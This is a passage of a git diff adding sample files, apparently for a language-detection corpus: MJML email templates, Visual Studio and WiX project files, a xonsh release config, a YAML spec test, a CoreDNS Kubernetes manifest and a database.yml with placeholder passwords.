+          <mj-image src="http://191n.mj.am/img/191n/3s/x4i.jpg" alt="Blake polo shirt" align="center" border="none" width="208" padding-left="0" padding-right="0" padding-bottom="20" padding-top="20">
+
+          </mj-image>
+          <mj-text font-weight="bold" align="center" color="#000" font-size="15" padding-left="25" padding-right="25" padding-bottom="0" padding-top="0">
+            <p>BLAKE POLO SHIRT</p>
+            <p style="color: rgb(250, 135, 57);">25&#x20AC;</p>
+          </mj-text>
+          <mj-button background-color="#fa8739" color="#fff" font-size="13" align="center" padding="15px 30px" border-radius="3px" href="https://mjml.io" padding-bottom="10" padding-top="0">
+            BUY NOW
+          </mj-button>
+        </mj-column>
+        <mj-column vertical-align="bottom">
+          <mj-image src="http://191n.mj.am/img/191n/3s/x4j.jpg" alt="Sketch floral" align="center" border="none" width="72" padding-left="0" padding-right="0" padding-bottom="20" padding-top="20">
+
+          </mj-image>
+          <mj-text font-weight="bold" align="center" color="#000" font-size="15" padding-left="25" padding-right="25" padding-bottom="0" padding-top="0">
+            <p>SKETCH FLORAL</p>
+            <p style="color: rgb(250, 135, 57);">23&#x20AC;</p>
+          </mj-text>
+          <mj-button background-color="#fa8739" color="#fff" font-size="13" align="center" padding="15px 30px" border-radius="3px" href="https://mjml.io" padding-bottom="10" padding-top="0">
+            BUY NOW
+          </mj-button>
+        </mj-column>
+      </mj-section>
+      <mj-section background-color="#fa8739" padding-bottom="0" padding-top="0">
+        <mj-column>
+          <mj-image src="http://191n.mj.am/img/191n/3s/x4k.jpg" alt="Man 1" width="301" padding-left="0" padding-right="0" padding-bottom="0" padding-top="0">
+          </mj-image>
+        </mj-column>
+        <mj-column width="50%">
+          <mj-text align="left" color="#fff" font-size="13" padding-left="25" padding-right="25" padding-bottom="0" padding-top="0">
+            <p style="font-size: 19px;">ANDERSON SWEATER</p>
+            <p style="font-size: 36px;">75&#x20AC;</p>
+            <p>The Anderson Sweater features a floral all-over print with contrast colour.</p>
+          </mj-text>
+          <mj-button background-color="#fff" color="#fa8739" padding="15px 30px" border-radius="3px" href="https://mjml.io" padding-bottom="10" padding-top="0">
+            BUY NOW
+          </mj-button>
+        </mj-column>
+      </mj-section>
+      <mj-section background-color="#2f323b" padding-bottom="0" padding-top="0">
+        <mj-column>
+          <mj-text align="left" color="#fff" font-size="13" padding-left="25" padding-right="25" padding-bottom="0" padding-top="0">
+            <p style="font-size: 19px;">ALDER TWO JONES JACKET</p>
+            <p style="font-size: 36px;">100&#x20AC;</p>
+            <p>Colour-block design, zip entry, oxford hood lining, side pockets &amp; TC lining.</p>
+          </mj-text>
+          <mj-button background-color="#fa8739" color="#fff" padding="15px 30px" border-radius="3px" href="https://mjml.io" padding-bottom="10" padding-top="0">
+            BUY NOW
+          </mj-button>
+        </mj-column>
+        <mj-column>
+          <mj-image src="http://191n.mj.am/img/191n/3s/xj6.jpg" alt="Man 2" align="center" border="none" width="302" padding-left="0" padding-right="0" padding-bottom="0" padding-top="0">
+
+          </mj-image>
+        </mj-column>
+      </mj-section>
+      <mj-section background-color="#fa8739" padding-bottom="0" padding-top="0">
+        <mj-column>
+          <mj-text align="center" color="#fff" font-size="13" padding-left="25" padding-right="25" padding-bottom="10" padding-top="10">
+            <p style="font-size: 14px;">DISCOVER OUR</p>
+            <p style="font-size: 27px;">SUMMER COLLECTION</p>
+          </mj-text>
+        </mj-column>
+      </mj-section>
+      <mj-section background-color="#fff" padding-bottom="20" padding-top="20">
+        <mj-column>
+          <mj-image src="http://191n.mj.am/img/191n/3s/x4q.jpg" alt="Topaz C3 shoes" padding-left="25" padding-right="25" padding-bottom="0" padding-top="0">
+          </mj-image>
+          <mj-text align="center" color="#000" font-size="15" font-weight="bold" padding-left="25" padding-right="25" padding-bottom="0" padding-top="0">
+            <p>TOPAZ C3 SHOES</p>
+            <p style="color: rgb(250, 135, 57);">70&#x20AC;</p>
+          </mj-text>
+          <mj-button background-color="#fa8739" color="#fff" font-size="13" align="center" padding="15px 30px" border-radius="3px" href="https://mjml.io" padding-bottom="10" padding-top="0">
+            BUY NOW
+          </mj-button>
+        </mj-column>
+        <mj-column>
+          <mj-image src="http://191n.mj.am/img/191n/3s/x4r.jpg" alt="Camden backpack" align="center" border="none" width="199" padding-left="25" padding-right="25" padding-bottom="0" padding-top="0">
+
+          </mj-image>
+          <mj-text align="center" color="#000" font-size="15" font-weight="bold" padding-left="25" padding-right="25" padding-bottom="0" padding-top="0">
+            <p>CAMDEN BACKPACK</p>
+            <p style="color: rgb(250, 135, 57);">50&#x20AC;</p>
+          </mj-text>
+          <mj-button background-color="#fa8739" color="#fff" padding="15px 30px" border-radius="3px" href="https://mjml.io" padding-bottom="10" padding-top="0">
+            BUY NOW
+          </mj-button>
+        </mj-column>
+      </mj-section>
+      <mj-section background-color="#2f323b" padding-bottom="20" padding-top="20">
+        <mj-column>
+          <mj-image src="http://191n.mj.am/img/191n/3s/x47.png" alt="Cards" width="72">
+          </mj-image>
+          <mj-text align="center" color="#fff" font-size="13" padding-left="25" padding-right="25" padding-bottom="0" padding-top="0">
+            <p style="font-size: 15px;font-weight: bold;">PAYMENT METHODS</p>
+            <p>We accept all majors payments options</p>
+          </mj-text>
+        </mj-column>
+        <mj-column>
+          <mj-image src="http://191n.mj.am/img/191n/3s/x48.png" alt="Currencies" align="center" border="none" width="70" padding-left="25" padding-right="25" padding-bottom="0" padding-top="10">
+
+          </mj-image>
+          <mj-text align="center" color="#fff" font-size="13" padding-left="25" padding-right="25" padding-bottom="0" padding-top="0">
+            <p style="font-size: 15px;font-weight: bold;">CURRENCIES CHOICE</p>
+            <p>You have the choice to pay with your own currencies</p>
+          </mj-text>
+        </mj-column>
+        <mj-column>
+          <mj-image src="http://191n.mj.am/img/191n/3s/x4y.png" alt="Express" align="center" border="none" width="82" padding-left="25" padding-right="25" padding-bottom="8" padding-top="10">
+
+          </mj-image>
+          <mj-text align="center" color="#fff" font-size="13" padding-left="25" padding-right="25" padding-bottom="0" padding-top="0">
+            <p style="font-size: 15px;font-weight: bold;">EXPRESS SHIPPING</p>
+            <p>Delivered tomorrow before noon</p>
+          </mj-text>
+        </mj-column>
+      </mj-section>
+      <mj-section background-color="#fa8739" padding-bottom="0" padding-top="0">
+        <mj-column>
+          <mj-image src="http://191n.mj.am/img/191n/3s/x49.png" alt="Racoon logo" align="center" border="none" width="180" padding-left="0" padding-right="0" padding-bottom="0" padding-top="10">
+          </mj-image>
+        </mj-column>
+        <mj-column>
+          <mj-text align="center" color="#fff" font-size="13" padding-left="25" padding-right="25" padding-bottom="0" padding-top="0">
+            <p><a href="https://mjml.io" style="text-decoration: none; color: inherit;">Privacy policy</a></p>
+          </mj-text>
+        </mj-column>
+        <mj-column>
+          <mj-social font-size="13" text-mode="false" facebook-href="[[SHORT_PERMALINK]]" twitter-href="[[SHORT_PERMALINK]]" google-href="[[SHORT_PERMALINK]]" mode="horizontal" display="facebook twitter google" padding-left="25" padding-right="25" padding-bottom="10"
+            padding-top="10">
+          </mj-social>
+        </mj-column>
+      </mj-section>
+      <mj-section padding-bottom="20" padding-top="20">
+      </mj-section>
+    </mj-container>
+  </mj-body>
+</mjml>
diff --git a/samples/XML/real-estate.mjml b/samples/XML/real-estate.mjml
new file mode 100644
index 0000000000..48f7fa374a
--- /dev/null
+++ b/samples/XML/real-estate.mjml
@@ -0,0 +1,182 @@
+<mjml>
+  <mj-head>
+    <mj-title>Say hello to RealEstate</mj-title>
+    <mj-font name="Roboto" href="https://fonts.googleapis.com/css?family=Alice" />
+    <mj-font name="Roboto" href="https://fonts.googleapis.com/css?family=Roboto:400,700" />
+    <mj-attributes>
+      <mj-all font-family="Roboto, Helvetica, Arial, sans-serif" padding="0" />
+      <mj-text font-weight="400" font-size="14" color="#000000" line-height="21px" />
+    </mj-attributes>
+  </mj-head>
+
+  <mj-body>
+    <mj-container background-color="#EAE8E5">
+
+      <mj-section padding="20px 0 0 0">
+        <mj-column>
+          <mj-image src="http://nimus.de/share/tpl-realestate/box-head.png" alt="" align="center" border="none" padding="0"></mj-image>
+        </mj-column>
+      </mj-section>
+
+      <mj-section padding-top="40px" background-color="#FFFFFF">
+        <mj-column width="570px">
+          <mj-text align="left" padding="0 20px" color="#1D83A8" font-size="36" line-height="40px" font-family="Alice, Helvetica, Arial, sans-serif">
+            Real Estate
+          </mj-text>
+          <mj-text align="left" padding="0 20px">
+            <strong><span style="font-size: 40px;">⚊</span></strong><br /><br /></mj-text>
+        </mj-column>
+      </mj-section>
+
+      <mj-section background-color="#FFFFFF">
+        <mj-column width="300px">
+          <mj-text align="left" padding="0 20px 30px 20px">
+            <strong>Aliquam lorem ante, dapibus in hasellus viverra nulla</strong> ut metus varius laoreet. Quisque rutrum lorem dellorus. Aenean imperdiet.
+          </mj-text>
+        </mj-column>
+        <mj-column width="260px">
+          <mj-image src="http://nimus.de/share/tpl-realestate/icon-1.png" alt="" padding-bottom="30px" width="260" align="center" border="none"></mj-image>
+        </mj-column>
+      </mj-section>
+
+      <mj-section background-url="http://nimus.de/share/tpl-realestate/img-1.png" vertical-align="middle" background-size="cover" padding="30px" background-repeat="no-repeat">
+        <mj-column vertical-align="middle" width="60%">
+          <mj-text align="center" padding="40px 30px" color="#FFFFFF" font-size="42px" line-height="48px" font-family="Alice, Helvetica, Arial, sans-serif">
+            Villa Semperin
+          </mj-text>
+        </mj-column>
+        <mj-column vertical-align="middle" width="40%" background-color="#FFFFFF">
+          <mj-image src="http://nimus.de/share/tpl-realestate/box-top.png" width="220px" alt="" align="center" border="none"></mj-image>
+          <mj-text align="center" padding="20px 20px 0 20px" color="#1D83A8" font-size="26" line-height="30px" font-family="Alice, Helvetica, Arial, sans-serif">
+            – first offer –
+          </mj-text>
+          <mj-text align="center" padding="10px 20px" font-size="22" line-height="30px">340,000 $</mj-text>
+          <mj-text align="center" padding="0 20px">Nascetur ridiculus mus. Donec quam felis, ultricies nec</mj-text>
+          <mj-button background-color="#F44E3C" color="white" padding="20px 20px 30px 20px" border-radius="20px">
+            view details
+          </mj-button>
+        </mj-column>
+      </mj-section>
+
+
+      <mj-section padding="30px" background-color="#FFFFFF">
+        <mj-column width="60%">
+          <mj-text align="center" padding-bottom="20px" font-size="26" line-height="30px" font-family="Alice, Helvetica, Arial, sans-serif">
+            Lorem Ipsum
+          </mj-text>
+          <mj-text align="center" padding="0 40px">
+            Aliquam lorem ante, dapibus in, viverra quis, feugiat a, tellus. Phasellus viverra nulla ut metus varius laoreet. Quisque rutrum. Aenean imperdiet. Lorem Ipsum
+          </mj-text>
+          <mj-image src="http://nimus.de/share/tpl-realestate/icon-2.png" alt="" padding="30px 0 10px 0" width="50" align="center" border="none"></mj-image>
+        </mj-column>
+        <mj-column width="40%" background-color="#FFFFFF">
+          <mj-image src="http://nimus.de/share/tpl-realestate/img-2.png" width="216px" alt="" align="center" border="none"></mj-image>
+        </mj-column>
+      </mj-section>
+
+      <mj-section padding="20px" background-color="#FFFFFF">
+        <mj-column width="100%">
+          <mj-image src="http://nimus.de/share/tpl-realestate/symbol-1.png" alt="" width="292px" align="left" border="none"></mj-image>
+        </mj-column>
+      </mj-section>
+
+      <mj-section padding="0 20px" background-color="#FFFFFF">
+        <mj-column>
+          <mj-text align="center" font-size="26" line-height="30px" font-family="Alice, Helvetica, Arial, sans-serif">
+            Lorem Ipsum
+          </mj-text>
+          <mj-divider width="20px" padding="20px 0" border-width="2px" border-color="#000000" />
+          <mj-text align="center" padding="0 40px">
+            Aliquam lorem ante, dapibus in, viverra quis, feugiat a, tellus. Phasellus viverra nulla ut metus varius laoreet. Quisque rutrum. Aenean imperdiet. Lorem Ipsum
+          </mj-text>
+          <mj-button background-color="#F44E3C" color="white" padding="20px 20px 10px 20px" border-radius="20px">
+            Call to action
+          </mj-button>
+        </mj-column>
+      </mj-section>
+
+      <mj-section padding="20px" background-color="#FFFFFF">
+        <mj-column width="100%">
+          <mj-image src="http://nimus.de/share/tpl-realestate/symbol-2.png" alt="" width="213px" align="right" border="none"></mj-image>
+        </mj-column>
+      </mj-section>
+
+
+      <mj-section padding="0 30px 30px" background-color="#FFFFFF">
+        <mj-column width="55%">
+          <mj-image src="http://nimus.de/share/tpl-realestate/img-3.png" width="280px" padding-bottom="20px" alt="" align="center" border="none"></mj-image>
+        </mj-column>
+        <mj-column width="45%" background-color="#FFFFFF">
+          <mj-text align="center" padding-bottom="20px" font-size="26" line-height="30px" font-family="Alice, Helvetica, Arial, sans-serif">
+            Lorem Ipsum
+          </mj-text>
+          <mj-text align="center" padding="0 40px">
+            Phasellus viverra nulla ut metus varius laoreet. Quisque rutrum.
+          </mj-text>
+          <mj-image src="http://nimus.de/share/tpl-realestate/icon-3.png" alt="" padding="30px 0 10px 0" width="50" align="center" border="none"></mj-image>
+        </mj-column>
+      </mj-section>
+
+      <mj-section padding="0 20px" background-color="#FFFFFF">
+        <mj-column>
+          <mj-text align="center" font-size="26" line-height="30px" font-family="Alice, Helvetica, Arial, sans-serif">
+            Nullam dictum felis eu pede
+          </mj-text>
+          <mj-divider width="20px" padding="20px 0" border-width="2px" border-color="#000000" />
+        </mj-column>
+      </mj-section>
+
+      <mj-section padding="0 20px 30px" background-color="#FFFFFF">
+        <mj-column width="33%">
+          <mj-text align="left" padding="0 15px 15px">
+            <strong>Aliquam lorem ante,</strong> dapibus in, viverra quis, feugiat a, tellus. Phasellus viverra nulla ut metus varius laoreet. Quisque rutrum. Aenean imperdiet. Lorem Ipsum
+          </mj-text>
+        </mj-column>
+        <mj-column width="34%">
+          <mj-text align="left" padding="0 15px 15px">
+            <strong>Phasellus viverra null aliquam lorem ante</strong>, dapibus in, viverra quis, feugiat a, tellus ut metus varius laoreet. Quisque rutrum. Aenean imperdiet. Lorem Ipsum
+          </mj-text>
+        </mj-column>
+        <mj-column width="33%">
+          <mj-text align="left" padding="0 15px 15px">
+            <strong>Quisque rutrum.</strong> Aenean imperdiet viverra nulla ut metus varius laoreet. Aliquam lorem ante, dapibus in, viverra quis, feugiat a, tellus. Lorem Ipsum
+          </mj-text>
+        </mj-column>
+      </mj-section>
+
+      <mj-section background-url="http://nimus.de/share/tpl-realestate/img-4.png" vertical-align="middle" background-size="cover" padding="30px" background-repeat="no-repeat">
+        <mj-column vertical-align="middle" width="40%" background-color="#FFFFFF">
+          <mj-image src="http://nimus.de/share/tpl-realestate/box-top.png" width="220px" alt="" align="center" border="none"></mj-image>
+          <mj-text align="center" padding="20px 20px 0 20px" color="#1D83A8" font-size="26" line-height="30px" font-family="Alice, Helvetica, Arial, sans-serif">
+            – 2. offer –
+          </mj-text>
+          <mj-text align="center" padding="10px 20px" font-size="22" line-height="30px">198,700 $</mj-text>
+          <mj-text align="center" padding="0 20px">Donec quam felis, ultricies Nascetur ridiculus mus.</mj-text>
+          <mj-button background-color="#F44E3C" color="white" padding="20px 20px 30px 20px" border-radius="20px">
+            view details
+          </mj-button>
+        </mj-column>
+        <mj-column vertical-align="middle" width="60%">
+          <mj-text align="center" padding="40px 30px" color="#FFFFFF" font-size="42px" line-height="48px" font-family="Alice, Helvetica, Arial, sans-serif">
+            Window House 23
+          </mj-text>
+        </mj-column>
+      </mj-section>
+
+      <mj-section padding="40px 20px" background-color="#FFFFFF">
+        <mj-column width="100%">
+          <mj-image src="http://nimus.de/share/tpl-realestate/icon-1.png" alt="" width="130px" align="center" border="none"></mj-image>
+        </mj-column>
+      </mj-section>
+
+      <mj-section padding="10px 0 20px 0">
+        <mj-column>
+          <mj-text align="center" color="#9B9B9B" font-size="11px"><a href="#" style="color: #9B9B9B;">Unsubscribe</a> from this newsletter<br>Icon made by Freepik from <a href="http://www.flaticon.com" target="_blank" style="color: #9B9B9B; text-decoration: none;">www.flaticon.com</a><br>
+            <a href="http://svenhaustein.de" style="color: #9B9B9B; text-decoration:none;">Made by svenhaustein.de</a>
+          </mj-text>
+        </mj-column>
+      </mj-section>
+
+    </mj-container>
+  </mj-body>
+</mjml>
diff --git a/samples/Text/receiver.ncl b/samples/XML/receiver.ncl
similarity index 100%
rename from samples/Text/receiver.ncl
rename to samples/XML/receiver.ncl
diff --git a/samples/XML/source.extension.vsixmanifest b/samples/XML/source.extension.vsixmanifest
new file mode 100644
index 0000000000..6ac2761356
--- /dev/null
+++ b/samples/XML/source.extension.vsixmanifest
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="utf-8"?>
+<PackageManifest Version="2.0.0" xmlns="http://schemas.microsoft.com/developer/vsx-schema/2011" xmlns:d="http://schemas.microsoft.com/developer/vsx-schema-design/2011">
+  <Metadata>
+    <Identity Id="$guid1$" Version="1.0" Language="en-US" Publisher="$registeredorganization$" />
+    <DisplayName>$packageName$</DisplayName>
+    <Description>$packageName$ Visual Studio Package</Description>
+  </Metadata>
+  <Installation>
+    <InstallationTarget Version="[14.0,15.0)" Id="Microsoft.VisualStudio.Community" />
+  </Installation>
+  <Dependencies>
+    <Dependency Id="Microsoft.Framework.NDP" DisplayName="Microsoft .NET Framework" d:Source="Manual" Version="[4.5,)" />
+    <Dependency Id="Microsoft.VisualStudio.MPF.14.0" DisplayName="Visual Studio MPF 14.0" d:Source="Installed" Version="[14.0]" />
+  </Dependencies>
+  <Assets>
+    <Asset Type="Microsoft.VisualStudio.VsPackage" d:Source="Project" d:ProjectName="%CurrentProject%" Path="|%CurrentProject%;PkgdefProjectOutputGroup|" />
+  </Assets>
+</PackageManifest>
diff --git a/samples/XML/switch-configuration-example.sw b/samples/XML/switch-configuration-example.sw
new file mode 100644
index 0000000000..0fa1f143c1
--- /dev/null
+++ b/samples/XML/switch-configuration-example.sw
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?AutomationStudio Version=4.0.0?>
+<SwConfiguration CpuAddress="SL1" xmlns="http://br-automation.co.at/AS/SwConfiguration">
+  <TaskClass Name="Cyclic#1" />
+</SwConfiguration>
\ No newline at end of file
diff --git a/samples/XML/wixdemo.wixproj b/samples/XML/wixdemo.wixproj
new file mode 100644
index 0000000000..325f9a50e9
--- /dev/null
+++ b/samples/XML/wixdemo.wixproj
@@ -0,0 +1,25 @@
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+	<PropertyGroup>
+			<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+			<Platform Condition=" '$(Platform)' == '' ">x86</Platform>
+			<ProductVersion>3.0</ProductVersion>
+			<ProjectGuid>{c523055d-a9d0-4318-ae85-ec934d33204b}</ProjectGuid>
+			<SchemaVersion>2.0</SchemaVersion>
+			<OutputName>WixProject1</OutputName>
+			<OutputType>Package</OutputType>
+			<WixTargetsPath Condition=" '$(WixTargetsPath)' == '' ">$(MSBuildExtensionsPath)\Microsoft\WiX\v[[Version.Major]].x\Wix.targets</WixTargetsPath>
+	</PropertyGroup>
+	<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|x86' ">
+			<OutputPath>bin\$(Configuration)\</OutputPath>
+			<IntermediateOutputPath>obj\$(Configuration)\</IntermediateOutputPath>
+			<DefineConstants>Debug</DefineConstants>
+	</PropertyGroup>
+	<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|x86' ">
+			<OutputPath>bin\$(Configuration)\</OutputPath>
+			<IntermediateOutputPath>obj\$(Configuration)\</IntermediateOutputPath>
+	</PropertyGroup>
+	<ItemGroup>
+			<Compile Include="Product.wxs" />
+	</ItemGroup>
+	<Import Project="$(WixTargetsPath)" />
+</Project>
\ No newline at end of file
diff --git a/samples/XML/xquery-tutorial.xspec b/samples/XML/xquery-tutorial.xspec
new file mode 100644
index 0000000000..ef7ca577c8
--- /dev/null
+++ b/samples/XML/xquery-tutorial.xspec
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<x:description xmlns:x="http://www.jenitennison.com/xslt/xspec" 
+               xmlns:functx="http://www.functx.com"
+               query="http://www.functx.com" 
+               query-at="xquery-tutorial.xq">
+
+  <x:scenario label="Calling function capitalize-first">
+    <x:call function="functx:capitalize-first">
+      <x:param select="'hello'"/>
+    </x:call>
+
+    <x:expect label="should capitalize the first character of the string" select="'Hello'"/>
+
+  </x:scenario>
+
+</x:description>
diff --git a/samples/Xonsh/rever.xsh b/samples/Xonsh/rever.xsh
new file mode 100644
index 0000000000..d8ed88b510
--- /dev/null
+++ b/samples/Xonsh/rever.xsh
@@ -0,0 +1,47 @@
+from rever.activities.ghrelease import git_archive_asset
+
+
+$PROJECT = $GITHUB_ORG = $GITHUB_REPO = 'xonsh'
+$WEBSITE_URL = 'http://xon.sh'
+$ACTIVITIES = ['authors', 'version_bump', 'changelog', 'pytest', 'appimage',
+               'tag', 'push_tag',
+               'ghrelease',
+               'sphinx',
+               'ghpages',
+               'pypi',
+               'conda_forge',
+               ]
+$PYPI_SIGN = False
+
+$AUTHORS_FILENAME = "AUTHORS.rst"
+$VERSION_BUMP_PATTERNS = [
+    ('xonsh/__init__.py', r'__version__\s*=.*', '__version__ = "$VERSION"'),
+    ]
+$CHANGELOG_FILENAME = 'CHANGELOG.rst'
+$CHANGELOG_TEMPLATE = 'TEMPLATE.rst'
+
+$PYTEST_COMMAND = "./run-tests.xsh -- test"
+
+$TAG_REMOTE = 'git@github.com:xonsh/xonsh.git'
+$TAG_TARGET = 'master'
+
+$GHPAGES_REPO = 'git@github.com:xonsh/xonsh-docs.git'
+
+$DOCKER_APT_DEPS = ['man']
+with open('requirements/tests.txt') as f:
+    conda_deps = f.read().split()
+with open('requirements/docs.txt') as f:
+    conda_deps += f.read().split()
+for delimiter in '=<>':
+    conda_deps = {d.lower().split(delimiter)[0] for d in conda_deps}
+conda_deps.discard('prompt-toolkit')
+conda_deps |= {'prompt_toolkit', 'pip', 'psutil', 'numpy', 'matplotlib'}
+$DOCKER_CONDA_DEPS = sorted(conda_deps)
+$DOCKER_INSTALL_COMMAND = ('rm -rf .cache/ __pycache__/ */__pycache__ */*/__pycache__ build/ && '
+                           './setup.py install')
+$DOCKER_GIT_NAME = 'xonsh'
+$DOCKER_GIT_EMAIL = 'xonsh@googlegroups.com'
+
+$GHRELEASE_ASSETS = [git_archive_asset, 'xonsh-x86_64.AppImage']
+
+$APPIMAGE_PYTHON_VERSION = '3.8'
diff --git a/samples/YAML/229Q.yaml b/samples/YAML/229Q.yaml
new file mode 100644
index 0000000000..e4f92cedd2
--- /dev/null
+++ b/samples/YAML/229Q.yaml
@@ -0,0 +1,56 @@
+---
+- name: Spec Example 2.4. Sequence of Mappings
+  from: http://www.yaml.org/spec/1.2/spec.html#id2760193
+  tags: sequence mapping spec
+  yaml: |
+    -
+      name: Mark McGwire
+      hr:   65
+      avg:  0.278
+    -
+      name: Sammy Sosa
+      hr:   63
+      avg:  0.288
+  tree: |
+    +STR
+     +DOC
+      +SEQ
+       +MAP
+        =VAL :name
+        =VAL :Mark McGwire
+        =VAL :hr
+        =VAL :65
+        =VAL :avg
+        =VAL :0.278
+       -MAP
+       +MAP
+        =VAL :name
+        =VAL :Sammy Sosa
+        =VAL :hr
+        =VAL :63
+        =VAL :avg
+        =VAL :0.288
+       -MAP
+      -SEQ
+     -DOC
+    -STR
+  json: |
+    [
+      {
+        "name": "Mark McGwire",
+        "hr": 65,
+        "avg": 0.278
+      },
+      {
+        "name": "Sammy Sosa",
+        "hr": 63,
+        "avg": 0.288
+      }
+    ]
+  dump: |
+    - name: Mark McGwire
+      hr: 65
+      avg: 0.278
+    - name: Sammy Sosa
+      hr: 63
+      avg: 0.288
diff --git a/samples/YAML/coredns.yaml.sed b/samples/YAML/coredns.yaml.sed
new file mode 100644
index 0000000000..d635755e77
--- /dev/null
+++ b/samples/YAML/coredns.yaml.sed
@@ -0,0 +1,163 @@
+# Warning: This is a file generated from the base underscore template file: coredns.yaml.base
+
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: coredns
+  namespace: kube-system
+  labels:
+      kubernetes.io/cluster-service: "true"
+      addonmanager.kubernetes.io/mode: Reconcile
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  labels:
+    kubernetes.io/bootstrapping: rbac-defaults
+    addonmanager.kubernetes.io/mode: Reconcile
+  name: system:coredns
+rules:
+- apiGroups:
+  - ""
+  resources:
+  - endpoints
+  - services
+  - pods
+  - namespaces
+  verbs:
+  - list
+  - watch
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  annotations:
+    rbac.authorization.kubernetes.io/autoupdate: "true"
+  labels:
+    kubernetes.io/bootstrapping: rbac-defaults
+    addonmanager.kubernetes.io/mode: EnsureExists
+  name: system:coredns
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: system:coredns
+subjects:
+- kind: ServiceAccount
+  name: coredns
+  namespace: kube-system
+---
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: coredns
+  namespace: kube-system
+  labels:
+      addonmanager.kubernetes.io/mode: EnsureExists
+data:
+  Corefile: |
+    .:53 {
+        errors
+        health
+        kubernetes $DNS_DOMAIN in-addr.arpa ip6.arpa {
+            pods insecure
+            upstream
+            fallthrough in-addr.arpa ip6.arpa
+        }
+        prometheus :9153
+        proxy . /etc/resolv.conf
+        cache 30
+    }
+---
+apiVersion: extensions/v1beta1
+kind: Deployment
+metadata:
+  name: coredns
+  namespace: kube-system
+  labels:
+    k8s-app: kube-dns
+    kubernetes.io/cluster-service: "true"
+    addonmanager.kubernetes.io/mode: Reconcile
+    kubernetes.io/name: "CoreDNS"
+spec:
+  # replicas: not specified here:
+  # 1. In order to make Addon Manager do not reconcile this replicas parameter.
+  # 2. Default is 1.
+  # 3. Will be tuned in real time if DNS horizontal auto-scaling is turned on.
+  strategy:
+    type: RollingUpdate
+    rollingUpdate:
+      maxUnavailable: 1
+  selector:
+    matchLabels:
+      k8s-app: kube-dns
+  template:
+    metadata:
+      labels:
+        k8s-app: kube-dns
+    spec:
+      serviceAccountName: coredns
+      tolerations:
+        - key: node-role.kubernetes.io/master
+          effect: NoSchedule
+        - key: "CriticalAddonsOnly"
+          operator: "Exists"
+      containers:
+      - name: coredns
+        image: coredns/coredns:1.0.6
+        imagePullPolicy: IfNotPresent
+        resources:
+          limits:
+            memory: 170Mi
+          requests:
+            cpu: 100m
+            memory: 70Mi
+        args: [ "-conf", "/etc/coredns/Corefile" ]
+        volumeMounts:
+        - name: config-volume
+          mountPath: /etc/coredns
+        ports:
+        - containerPort: 53
+          name: dns
+          protocol: UDP
+        - containerPort: 53
+          name: dns-tcp
+          protocol: TCP
+        livenessProbe:
+          httpGet:
+            path: /health
+            port: 8080
+            scheme: HTTP
+          initialDelaySeconds: 60
+          timeoutSeconds: 5
+          successThreshold: 1
+          failureThreshold: 5
+      dnsPolicy: Default
+      volumes:
+        - name: config-volume
+          configMap:
+            name: coredns
+            items:
+            - key: Corefile
+              path: Corefile
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: kube-dns
+  namespace: kube-system
+  labels:
+    k8s-app: kube-dns
+    kubernetes.io/cluster-service: "true"
+    addonmanager.kubernetes.io/mode: Reconcile
+    kubernetes.io/name: "CoreDNS"
+spec:
+  selector:
+    k8s-app: kube-dns
+  clusterIP: $DNS_SERVER_IP
+  ports:
+  - name: dns
+    port: 53
+    protocol: UDP
+  - name: dns-tcp
+    port: 53
+    protocol: TCP
diff --git a/samples/YAML/database.yml.mysql b/samples/YAML/database.yml.mysql
new file mode 100644
index 0000000000..d970287024
--- /dev/null
+++ b/samples/YAML/database.yml.mysql
@@ -0,0 +1,42 @@
+#
+# PRODUCTION
+#
+production:
+  adapter: mysql2
+  encoding: utf8mb4
+  collation: utf8mb4_general_ci
+  reconnect: false
+  database: gitlabhq_production
+  pool: 10
+  username: git
+  password: "secure password"
+  # host: localhost
+  # socket: /tmp/mysql.sock
+
+#
+# Development specific
+#
+development:
+  adapter: mysql2
+  encoding: utf8mb4
+  collation: utf8mb4_general_ci
+  reconnect: false
+  database: gitlabhq_development
+  pool: 5
+  username: root
+  password: "secure password"
+  # socket: /tmp/mysql.sock
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
+test: &test
+  adapter: mysql2
+  encoding: utf8mb4
+  collation: utf8mb4_general_ci
+  reconnect: false
+  database: gitlabhq_test
+  pool: 5
+  username: root
+  password:
+  # socket: /tmp/mysql.sock
diff --git a/samples/YAML/expected-floating-point-literal.mir b/samples/YAML/expected-floating-point-literal.mir
new file mode 100644
index 0000000000..715097e828
--- /dev/null
+++ b/samples/YAML/expected-floating-point-literal.mir
@@ -0,0 +1,95 @@
+# ==============================================================================
+# LLVM Release License
+# ==============================================================================
+# University of Illinois/NCSA
+# Open Source License
+
+# Copyright (c) 2003-2017 University of Illinois at Urbana-Champaign.
+# All rights reserved.
+
+# Developed by:
+
+#     LLVM Team
+
+#     University of Illinois at Urbana-Champaign
+
+#     http://llvm.org
+
+# Permission is hereby granted, free of charge, to any person obtaining a copy of
+# this software and associated documentation files (the "Software"), to deal with
+# the Software without restriction, including without limitation the rights to
+# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+# of the Software, and to permit persons to whom the Software is furnished to do
+# so, subject to the following conditions:
+
+#     * Redistributions of source code must retain the above copyright notice,
+#       this list of conditions and the following disclaimers.
+
+#     * Redistributions in binary form must reproduce the above copyright notice,
+#       this list of conditions and the following disclaimers in the
+#       documentation and/or other materials provided with the distribution.
+
+#     * Neither the names of the LLVM Team, University of Illinois at
+#       Urbana-Champaign, nor the names of its contributors may be used to
+#       endorse or promote products derived from this Software without specific
+#       prior written permission.
+
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
